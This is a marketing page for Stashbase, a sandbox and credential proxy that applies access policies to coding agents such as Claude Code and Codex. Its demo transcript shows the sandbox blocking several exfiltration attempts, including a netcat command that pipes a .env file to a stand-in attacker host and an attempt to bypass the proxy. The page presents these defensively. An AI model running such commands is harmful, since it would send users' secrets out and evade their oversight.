Stashbase

Access control forClaude Code

Run coding agents in a sandbox with access rules for files, APIs, and tools. Let them use credentials without seeing the real values.

Start for freeNo credit card required
Try it locallyNo account needed

Free forever: local sandboxing, proxy access, and unlimited profiles.

See how it works

Give agents access—not your credentials

Let coding agents use the APIs, tools, and credentials they need while Stashbase keeps raw secrets outside the agent context and enforces policy at the request boundary.

.stashbase/agents/codex.toml
egress_hosts = ["chatgpt.com", "api.openai.com"]

[secrets]
project = "project"
environment = "api-staging"

[secrets.GITHUB_TOKEN]
env = "GITHUB_TOKEN"

[[secrets.GITHUB_TOKEN.rules]]
effect = "allow"
hosts = ["api.github.com"]
methods = ["GET"]
paths = ["/repos/*/*/issues*"]

[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"

[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]
Run your agent
$ stashbase agent run
A profile is the policy
Credentials stay out of the agent environment Agents receive placeholders. Secret values and personal credentials stay behind the proxy.
Grant access host by host Each secret can be exchanged only with the API destinations you approve.
Keep policy with the project Store your profiles in your repositories, track changes with git.
Audit the proxied activity Review local metadata-only logs for allowed and denied credential exchanges.
Keep egress separate from secrets Allow registries and docs without letting any credential reach those hosts.
Keep sensitive files out of reach Deny reads of .env files, keys, and certificates while the agent works in your project.

Desktop quickstart

Try it yourself

Open this page on macOS or Linux to install the CLI and try the local policy.

.stashbase/agents/codex.toml
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"

[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]

[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]

Control tools as well as credentials.

Credentials stay at the boundary

Bindings inject authentication without exposing its value.

Allowed tools are visible

Unauthorized tools are filtered from the server’s tool list.

Denied tools cannot run

Calls outside policy are rejected before they reach the server.

Choose the right boundary

Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.

01
Local proxy · Free
Proxy on your machine

The proxy and credential injection run on your machine. Use secrets from a local file or a Stashbase project.

02
Remote proxy · Pro & Scale
Proxy on Stashbase infrastructure

Credential injection runs on Stashbase infrastructure, so resolved secrets are never loaded on your machine. See and revoke remote proxy sessions.

Enforced, not just configured

With the Docker backend, the agent runs inside a sandbox whose only route to the network is the Stashbase proxy. It can’t bypass your policies, read files you’ve denied, or send data to hosts you haven’t allowed.

Inside the sandbox
$ cat .env
cat: .env: Permission denied
# denied by the profile

$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall

$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed

$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks

$ curl -u "$STRIPE_SECRET_KEY:" \
    https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxy
01

A firewall, not just env vars

Each sandbox has its own firewall with no direct route to the internet, your host, or private networks. The only way out is the Stashbase proxy.

$ env -u HTTPS_PROXY curl … → blocked
02

Rules the agent can’t touch

The firewall sits outside the agent’s reach, so even a compromised agent can’t switch it off.

disable firewall → permission denied
03

Two backends, same profile

An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.

backend = "native" | "docker"
04

Bring your own image

Use the default image with Claude Code and Codex preinstalled, or bring your own. Custom images add tools, never privileges.

dockerfile = "./sandbox.Dockerfile"
Try it locally in 2 minutesSee how the sandbox works

Run agents on a server, not your laptop

Run your agents on a server you reach over SSH, with the same profiles, sandbox and proxy.

From your laptop
$ stashbase ssh install mybox
# a host from ~/.ssh/config, or user@host

$ stashbase ssh setup mybox
# sign in on the server, then check the key and Docker

$ stashbase ssh open mybox
# attached to the server's stashbase tmux session

mybox $ stashbase agent run --profile coding -- claude
01

Keeps running when you leave

Agents run in a tmux session on the server and keep going when you close your laptop. Reattach from anywhere, even your phone.

detach → agents keep running
02

Your laptop’s key stays put

The server gets its own key, which you can revoke anytime. The key on your laptop is never copied.

one machine, one key
03

Your own SSH, nothing new

Stashbase uses the ssh you already have, with your config, keys, and jump hosts.

stashbase ssh install user@host
04

Dev servers on localhost

Forward a port so the app the agent is working on opens on your laptop.

stashbase ssh open mybox --port 3000

Works with x86_64 Linux servers and Apple Silicon Macs. Use one machine per developer.

See how remote machines work

Give agents access, not your keys.

Keep your project credentials in one workspace and let agents use them only through the access rules in their profiles. The free plan includes one hosted project with 3 environments.

Create free workspaceTry it locally